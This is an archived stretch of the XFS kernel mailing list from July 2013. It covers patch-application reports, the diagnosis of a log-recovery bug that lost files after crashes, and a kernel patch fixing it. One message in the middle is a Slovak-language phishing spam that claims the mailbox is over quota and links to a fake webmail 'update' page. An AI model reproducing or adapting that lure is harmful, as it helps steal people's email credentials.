by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/19/2013 02:44 AM, Dave Chinner wrote: > Comments, thoughts, flames? I was hoping that I could use this 3.12 patchset with a 3.11.0-rc kernel, but the xfstests look like a disaster by going that way. The combination of 3.12 XFS code and 3.12 xfsprogs seems to be working well. xfs_repair, mkfs.xfs, and xfs_logprint still seem to work either way. The following patches had issues during the `git am` session: # Patch 11 Applying: libxfs: sync xfs_ialloc.c to the kernel code /usr/src/xfs/xfsprogs/.git/rebase-apply/patch:226: trailing whitespace. /* warning: 1 line adds whitespace errors. # Patch 20 Applying: xfs: separate dquot on disk format definitions out of xfs_quota.h /usr/src/xfs/xfsprogs/.git/rebase-apply/patch:64: trailing whitespace. * This header file defines all the on-disk format definitions for warning: 1 line adds whitespace errors. # Patch 27 Applying: xfs: move inode fork definitions to a new header file fatal: corrupt patch at line 2313 Patch failed at 0001 xfs: move inode fork definitions to a new header file The copy of the patch that failed is found in: /usr/src/xfs/xfsprogs/.git/rebase-apply/patch When you have resolved this problem, run "git am --resolved". If you prefer to skip this patch, run "git am --skip" instead. To restore the original branch and stop patching, run "git am --abort". # Deleted the blank line from the patch (Thunderbird save error?). # Patch 27 (Take 2) Applying: xfs: move inode fork definitions to a new header file # Patch 49 Applying: xfsprogs: add dtype support to mkfs and db /usr/src/xfs/xfsprogs/.git/rebase-apply/patch:163: new blank line at EOF. + warning: 1 line adds whitespace errors. In other words, everything works so far. Again, on one PC, the xfstests results are awful, with many xfs/* tests failing. The results have yet to be reviwed closely, though. There's a chance that something in xfstests didn't build against xfsprogs...unless all the hole punch and dmapi tests really are having issues...not enough info yet... Thanks! Michael From david@fromorbit.com Sun Jul 21 02:37:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 09C8629DF8 for ; Sun, 21 Jul 2013 02:37:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 67CBDAC001 for ; Sun, 21 Jul 2013 00:37:39 -0700 (PDT) X-ASG-Debug-ID: 1374392256-04cb6c2a41f89ff0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id NVEhlurlyq8lGBh2 for ; Sun, 21 Jul 2013 00:37:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAC2P61F5LNhQ/2dsb2JhbABagwa8A4UsBAGBFRd0giQBAQUnExwjEAgDFAQJJQ8FJQMhE4gPthsWjmOBHQeDEG4Dl1yRToMkKg Received: from ppp121-44-216-80.lns20.syd7.internode.on.net (HELO dastard) ([121.44.216.80]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Jul 2013 17:07:35 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V0oCy-0000xs-PY; Sun, 21 Jul 2013 17:37:32 +1000 Date: Sun, 21 Jul 2013 17:37:32 +1000 From: Dave Chinner To: Mark Tinguely Cc: Markus Trippelsdorf , Ben Myers , Stan Hoeppner , xfs@oss.sgi.com Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130721073732.GB11674@dastard> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <51E9AB80.4000700@sgi.com> <20130720031840.GA11674@dastard> <51EAC72B.905@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EAC72B.905@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374392256 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jul 20, 2013 at 12:21:47PM -0500, Mark Tinguely wrote: > On 07/19/13 22:18, Dave Chinner wrote: > >On Fri, Jul 19, 2013 at 04:11:28PM -0500, Mark Tinguely wrote: > >>On 07/19/13 07:22, Markus Trippelsdorf wrote: > >>> > >>>I've bisected this issue to the following commit: > >>> > >>> commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > >>> Author: Dave Chinner > >>> Date: Thu Jun 27 16:04:49 2013 +1000 > >>> > >>> xfs: don't do IO when creating an new inode > >>> > >>>Reverting this commit on top of the Linus tree "solves" all problems for > >>>me. IOW I no longer loose my KDE and LibreOffice config files during a > >>>crash. Log recovery now works fine and xfs_repair shows no issues. .... > >I've only reproduced the problem *once* with this method - the first > >time I tried. Then I mkfs'd the filesystem rather than repairing it > >and I haven't been able to reproduce it since. So the problem is > >far more subtle that just copying some files, running sync and > >crashing the machine - there's some kind of initial or timing > >condition that we are missing that triggers it... > > > >The one interesting thing I noticed was that the generation number > >in the crash case was non-zero. That's an important piece of > >information, and: .... > >That means it has actually been allocated and written to disk at > >some point in time. That is, inodes allocated by mkfs in the root > >inode chunk have a generation number of zero. For this to have a > >non-zero generation number, it means that had to be written after > >allocation - either before the sync or during log recovery. > > > >Unfortunately, without the 'xfs_logprint -t -i' output from > >prior to mounting the filesystem which demonstrates te problem, I > >can't tell if the issue is a recovery problem or something that > >happened before the crash.... .... > I tried the script today and it did not reproduce the problem. The > logprint and the mounted filesystem was empty. I will rebuild the > sources to eliminate some patched kernel versions on that box and > experiment with the sync and the shooting of the kernel. No need - I've worked out yesterday how to reproduce it reliably and what the root cause of the problem is. My 'net connection was down yesterday, so I wasn't even sure if my emails would get out after queued them and left for an overnight trip.... Basically, the problem takes two iterations to trigger. Do this: mkfs.xfs mount copy files umount mount remove files umount. This gives files in the inode chunk mode = 0 and flushiter = 2. now run: mount copy files sync godown (*) umount (*) you don't need to crash the box to trip this problem. And when you run: mount ls -l The output of ls will have missing files. The problem is log recovery sees the flushiter of the inodes being allocated as 0 (because that's what the patch that avoids reading the inodes during create sets it too), but the flushiter of the inode on disk is 2, and then log recovery says "inode on disk is more recent than the inode core being recovered, don't do recovery". And that's all there is to it. di_flushiter is no longer necessary as we log all inode modifications now, but we left it there because we thought it was harmless: /* * bump the flush iteration count, used to detect flushes which * postdate a log record during recovery. This is redundant as we now * log every change and hence this can't happen. Still, it doesn't hurt. */ ip->i_d.di_flushiter++; In this case, clearly it does hurt. :/ Cheers, Dave. -- Dave Chinner david@fromorbit.com From recepcia@hotelviktor.sk Sun Jul 21 23:20:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A9B157F37 for ; Sun, 21 Jul 2013 23:20:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 876ED304032 for ; Sun, 21 Jul 2013 21:20:07 -0700 (PDT) X-ASG-Debug-ID: 1374466804-04cb6c2a41fc87d0001-w1Z2WR Received: from my1.mynet.sk (my1.mynet.sk [81.89.48.211]) by cuda.sgi.com with ESMTP id uil2LamEwqQjZvnk for ; Sun, 21 Jul 2013 21:20:04 -0700 (PDT) X-Barracuda-Envelope-From: recepcia@hotelviktor.sk X-Barracuda-Apparent-Source-IP: 81.89.48.211 Received: from localhost (localhost.localdomain [127.0.0.1]) by my1.mynet.sk (Postfix) with ESMTP id 1EABB204857A; Mon, 22 Jul 2013 06:19:59 +0200 (CEST) Received: from my1.mynet.sk ([127.0.0.1]) by localhost (my1.mynet.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZDdY6yGZ27nc; Mon, 22 Jul 2013 06:19:58 +0200 (CEST) Received: from localhost (one.mynet.sk [81.89.48.210]) by my1.mynet.sk (Postfix) with ESMTP id 7D31F2039FC2; Mon, 22 Jul 2013 06:15:28 +0200 (CEST) Received: from 46.229.224.239.vnet.sk (46.229.224.239.vnet.sk [46.229.224.239]) by webmail.hotelviktor.sk (Horde Framework) with HTTP; Mon, 22 Jul 2013 06:15:25 +0200 Message-ID: <20130722061525.89205fc9pgzq8em8@webmail.hotelviktor.sk> Date: Mon, 22 Jul 2013 06:15:25 +0200 From: recepcia@hotelviktor.sk To: undisclosed-recipients:; Subject: =?iso-8859-2?b?VuG+ZW7tOg==?= Webmail Subscriber MIME-Version: 1.0 X-ASG-Orig-Subj: =?iso-8859-2?b?VuG+ZW7tOg==?= Webmail Subscriber Content-Type: multipart/alternative; boundary="=_5csi1k3li39c" Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.2) X-Barracuda-Connect: my1.mynet.sk[81.89.48.211] X-Barracuda-Start-Time: 1374466804 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 9dc81ead85990c85301f525c35449326-9919-htm X-Barracuda-Spam-Score: 2.08 X-Barracuda-Spam-Status: No, SCORE=2.08 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, NO_REAL_NAME, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO This message is in MIME format. --=_5csi1k3li39c Content-Type: text/plain; charset=ISO-8859-2 Content-Description: =?iso-8859-2?b?Wm9icmF6absg?= =?iso-8859-2?b?dGV4dG92+g==?= verziu =?iso-8859-2?b?c3By4XZ5?= Content-Disposition: inline Content-Transfer-Encoding: quoted-printable V=E1=BEen=ED: Webmail Subscriber Oznamujeme v=E1m, =BEe v=E1=B9 e-mailov=FD =FA=E8et presiahol skladovacie kapacity. Nebudete m=F4c=BB odosiela=BB a prij=EDma=BB e-maily a= va=B9e e-mailov=FD =FA=E8et, bud=FA vymazan=E9 z n=E1=B9ho servera. Ak sa chcete t= omuto probl=E9mu vyhn=FA=BB, kliknite[1] t pre aktualiz=E1ciu v=E1=B9ho =FA=E8tu. =CFakujem. Management Team. =20 Linky: ------ [1] http://webmailupdate393921.jimdo.com/ ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. --=_5csi1k3li39c Content-Type: text/html; charset=ISO-8859-2 Content-Description: HTML verzia =?iso-8859-2?b?c3By4XZ5?= Content-Disposition: inline Content-Transfer-Encoding: quoted-printable


    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    = = = = =
    = = Oznamujeme v=E1m, =BEe v=E1=B9 e-mailo= v=FD =FA=E8et presiahol
    = = skladovacie kapacity. Nebudete m=F4c= =BB odosiela=BB a prij=EDma=BB e-maily a va=B9e
    = = e-mailov=FD =FA=E8et, bud=FA vymazan= =E9 z n=E1=B9ho servera. Ak sa chcete tomuto probl=E9mu vyhn=FA=BB,
    kliknite    t pre aktualiz=E1ciu v= =E1=B9ho =FA=E8tu.
    = =
    = =
    = = =CFakujem.
    = =
    = = Management Team.
    = =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =
    =



    ----------------------------------------------------------------=
    This message was sent using IMP, the Internet Messaging Program.=

    --=_5csi1k3li39c-- From dave@fromorbit.com Mon Jul 22 05:18:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A2D1D7F37 for ; Mon, 22 Jul 2013 05:18:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 91B648F804C for ; Mon, 22 Jul 2013 03:18:35 -0700 (PDT) X-ASG-Debug-ID: 1374488313-04cb6c2a47fdee40001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Ojg2dR1aeiuDqy7H for ; Mon, 22 Jul 2013 03:18:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ah8MAC4G7VF5LPxH/2dsb2JhbABagwbBMASBDhd0giQBLS87GGoDNIgPllugB45eARIIhSIDoX+HK4MkKoEsAQEe Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jul 2013 19:48:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V1DCC-0003XB-9P for xfs@oss.sgi.com; Mon, 22 Jul 2013 20:18:24 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V1DCC-0003Oy-89 for xfs@oss.sgi.com; Mon, 22 Jul 2013 20:18:24 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs: di_flushiter considered harmful Date: Mon, 22 Jul 2013 20:18:24 +1000 X-ASG-Orig-Subj: [PATCH] xfs: di_flushiter considered harmful Message-Id: <1374488304-13044-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1374488313 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode woul dbe on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation made always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernl upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transaction inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Signed-off-by: Dave Chinner --- fs/xfs/xfs_dinode.h | 3 +++ fs/xfs/xfs_inode.c | 18 +++++++++++++----- fs/xfs/xfs_log_recover.c | 13 +++++++++++-- 3 files changed, 27 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_dinode.h b/fs/xfs/xfs_dinode.h index 07d735a..e5869b5 100644 --- a/fs/xfs/xfs_dinode.h +++ b/fs/xfs/xfs_dinode.h @@ -39,6 +39,9 @@ typedef struct xfs_timestamp { * There is a very similar struct icdinode in xfs_inode which matches the * layout of the first 96 bytes of this structure, but is kept in native * format instead of big endian. + * + * Note: di_flushiter is only used by v1/2 inodes - it's effectively a zeroed + * padding field for v3 inodes. */ typedef struct xfs_dinode { __be16 di_magic; /* inode magic # = XFS_DINODE_MAGIC */ diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b78481f..651ace5 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -896,7 +896,6 @@ xfs_dinode_to_disk( to->di_projid_lo = cpu_to_be16(from->di_projid_lo); to->di_projid_hi = cpu_to_be16(from->di_projid_hi); memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); @@ -924,6 +923,9 @@ xfs_dinode_to_disk( to->di_lsn = cpu_to_be64(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); uuid_copy(&to->di_uuid, &from->di_uuid); + to->di_flushiter = 0; + } else { + to->di_flushiter = cpu_to_be16(from->di_flushiter); } } @@ -2882,12 +2884,18 @@ xfs_iflush_int( __func__, ip->i_ino, ip->i_d.di_forkoff, ip); goto corrupt_out; } + /* - * bump the flush iteration count, used to detect flushes which - * postdate a log record during recovery. This is redundant as we now - * log every change and hence this can't happen. Still, it doesn't hurt. + * Inode item log recovery for v1/v2 inodes are dependent on the + * di_flushiter count for correct sequencing. We bump the flush + * iteration count so we can detect flushes which postdate a log record + * during recovery. This is redundant as we now log every change and + * hence this can't happen but we need to still do it to ensure + * backwards compatibility with old kernels that predate logging all + * inode changes. */ - ip->i_d.di_flushiter++; + if (ip->i_d.di_version < 3) + ip->i_d.di_flushiter++; /* * Copy the dirty parts of the inode into the on-disk diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 6fcc910a..7681b19 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2592,8 +2592,16 @@ xlog_recover_inode_pass2( goto error; } - /* Skip replay when the on disk inode is newer than the log one */ - if (dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { + /* + * di_flushiter is only valid for v1/2 inodes. All changes for v3 inodes + * are transactional and if ordering is necessary we can determine that + * more accurately by the LSN field in the V3 inode core. Don't trust + * the inode versions we might be changing them here - use the + * superblock flag to determine whether we need to look at di_flushiter + * to skip replay when the on disk inode is newer than the log one + */ + if (!xfs_sb_version_hascrc(&mp->m_sb) && + dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { /* * Deal with the wrap case, DI_MAX_FLUSH is less * than smaller numbers @@ -2608,6 +2616,7 @@ xlog_recover_inode_pass2( goto error; } } + /* Take the opportunity to reset the flush iteration count */ dicp->di_flushiter = 0; -- 1.8.3.2 From david@fromorbit.com Mon Jul 22 05:22:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DD8A07F37 for ; Mon, 22 Jul 2013 05:22:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7B54FAC001 for ; Mon, 22 Jul 2013 03:22:32 -0700 (PDT) X-ASG-Debug-ID: 1374488550-04bdf0245c294160001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 0Vnbl1wDR75GrQy5 for ; Mon, 22 Jul 2013 03:22:31 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMiAFsH7VF5LPxH/2dsb2JhbABagwY1gnGqCgKOUoUsBAGBDRd0giQBAQU6HCMQCAMUBAklDwUlAyETiA8Ntl8WjS2BIRWBHQeDfgOXXJFOgyQqgTU Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jul 2013 19:52:29 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1DG3-0003Xp-Or; Mon, 22 Jul 2013 20:22:23 +1000 Date: Mon, 22 Jul 2013 20:22:23 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: Ben Myers , Mark Tinguely , Stan Hoeppner , xfs@oss.sgi.com Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130722102223.GG11674@dastard> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130720014836.GZ11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130720014836.GZ11674@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1374488550 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jul 20, 2013 at 11:48:36AM +1000, Dave Chinner wrote: > On Fri, Jul 19, 2013 at 02:22:35PM +0200, Markus Trippelsdorf wrote: > > On 2013.07.15 at 08:47 +0200, Markus Trippelsdorf wrote: > > I've bisected this issue to the following commit: > > > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > > Author: Dave Chinner > > Date: Thu Jun 27 16:04:49 2013 +1000 > > > > xfs: don't do IO when creating an new inode > > > > Reverting this commit on top of the Linus tree "solves" all problems for > > me. IOW I no longer loose my KDE and LibreOffice config files during a > > crash. Log recovery now works fine and xfs_repair shows no issues. > > Thanks for bisecting this, Marcus. > > I'll admit, right now it doesn't make a lot of sense to me - I don't > immediately see a connection between not reading an inode during the > create phase and unlinked list and directory corruption after a > crash. But now you've identified a change that might be the cause, > I have an avenue of investigation I can follow. > > Indeed, in the time I've taken to write this mail I've thought of > 2-3 possible causes that I need to investigate.... Hi Markus, can you test the patch I just posted to the list titled "xfs: di_flushiter considered harmful" and see if it fixes your problem? Archive link here: http://oss.sgi.com/pipermail/xfs/2013-July/028331.html Cheers, Dave. -- Dave Chinner david@fromorbit.com From markus@trippelsdorf.de Mon Jul 22 05:47:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0EE107F37 for ; Mon, 22 Jul 2013 05:47:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CEE068F8052 for ; Mon, 22 Jul 2013 03:47:47 -0700 (PDT) X-ASG-Debug-ID: 1374490064-04cbb0468e1287860001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id c3KcESClOTLlAtHm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 22 Jul 2013 03:47:46 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=IYKjSfSXpMhm/2ld0P4mHU12CX PUVlSRBLg+vvDKwxI=; b=fkJh8Q/mnUB89sSogC8HzH3PVucc+m4OsTKR9R786N PwOO8Ol82QlhgaTGkJKBUgpVQ0bh4VT2kAAKlydequxco6yvbroC6kpfd27nDWbT 1aycjzatpiMctatksWF3+Sb9oluNwSkLBRYTM/5Av0/6EYMFj2ODrt1BDrE8c9th 0= Received: (qmail 10520 invoked from network); 22 Jul 2013 12:47:43 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 22 Jul 2013 12:47:43 +0200 Date: Mon, 22 Jul 2013 12:47:43 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: Ben Myers , Mark Tinguely , Stan Hoeppner , xfs@oss.sgi.com Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130722104743.GA361@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130720014836.GZ11674@dastard> <20130722102223.GG11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130722102223.GG11674@dastard> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374490066 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.22 at 20:22 +1000, Dave Chinner wrote: > On Sat, Jul 20, 2013 at 11:48:36AM +1000, Dave Chinner wrote: > > On Fri, Jul 19, 2013 at 02:22:35PM +0200, Markus Trippelsdorf wrote: > > > On 2013.07.15 at 08:47 +0200, Markus Trippelsdorf wrote: > > > I've bisected this issue to the following commit: > > > > > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > > > Author: Dave Chinner > > > Date: Thu Jun 27 16:04:49 2013 +1000 > > > > > > xfs: don't do IO when creating an new inode > > > > > > Reverting this commit on top of the Linus tree "solves" all problems for > > > me. IOW I no longer loose my KDE and LibreOffice config files during a > > > crash. Log recovery now works fine and xfs_repair shows no issues. > > > > Thanks for bisecting this, Marcus. > > > > I'll admit, right now it doesn't make a lot of sense to me - I don't > > immediately see a connection between not reading an inode during the > > create phase and unlinked list and directory corruption after a > > crash. But now you've identified a change that might be the cause, > > I have an 